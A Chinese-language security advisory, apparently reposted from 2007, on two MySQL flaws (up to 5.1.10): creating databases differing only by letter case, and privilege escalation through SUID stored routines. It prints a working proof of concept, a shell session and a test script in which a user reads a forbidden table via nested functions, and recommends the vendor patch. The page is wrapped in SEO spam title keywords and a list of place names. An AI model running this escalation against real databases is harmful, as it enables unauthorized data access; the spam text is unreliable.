国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

MySQL權限提升及安全限制繞過漏洞
2007-02-12   黑客基地

受影響系統:

MySQL AB MySQL <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL是一款使用非常廣泛的開放源代碼關系數據庫系統,擁有各種平臺的運行版本。

在MySQL上,擁有訪問權限但無創建權限的用戶可以創建與所訪問數據庫僅有名稱字母大小寫區別的新數據庫。成功利用這個漏洞要求運行MySQL的文件系統支持區分大小寫的文件名。

此外,由于在錯誤的安全環境中計算了suid例程的參數,攻擊者可以通過存儲的例程以例程定義者的權限執行任意DML語句。成功攻擊要求用戶對所存儲例程擁有EXECUTE權限。

測試方法:

【警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!】

1、創建數據庫

$ mysql -h my.mysql.server -u sample -p -A sample
Enter password: 
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql> create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql> create database sAmple; 
Query OK, 1 row affected (0.00 sec)

2、權限提升

--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;

建議:

廠商補丁:MySQL AB

目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載。

熱詞搜索:

上一篇:保護好我的系統 拒絕WinRar密碼破解
下一篇:安裝配置服務器失敗的解決

分享到: 收藏
主站蜘蛛池模板: 呼伦贝尔市| 车致| 呼伦贝尔市| 柏乡县| 红原县| 和田县| 商丘市| 封丘县| 重庆市| 长泰县| 犍为县| 望都县| 广宁县| 卓尼县| 西和县| 九台市| 瑞金市| 集贤县| 延川县| 东方市| 赣州市| 酉阳| 宁海县| 承德县| 集安市| 南昌市| 海口市| 杭州市| 平阴县| 北流市| 拉孜县| 长顺县| 聂荣县| 土默特右旗| 汝州市| 山东| 漳平市| 蓝山县| 海安县| 泸水县| 年辖:市辖区|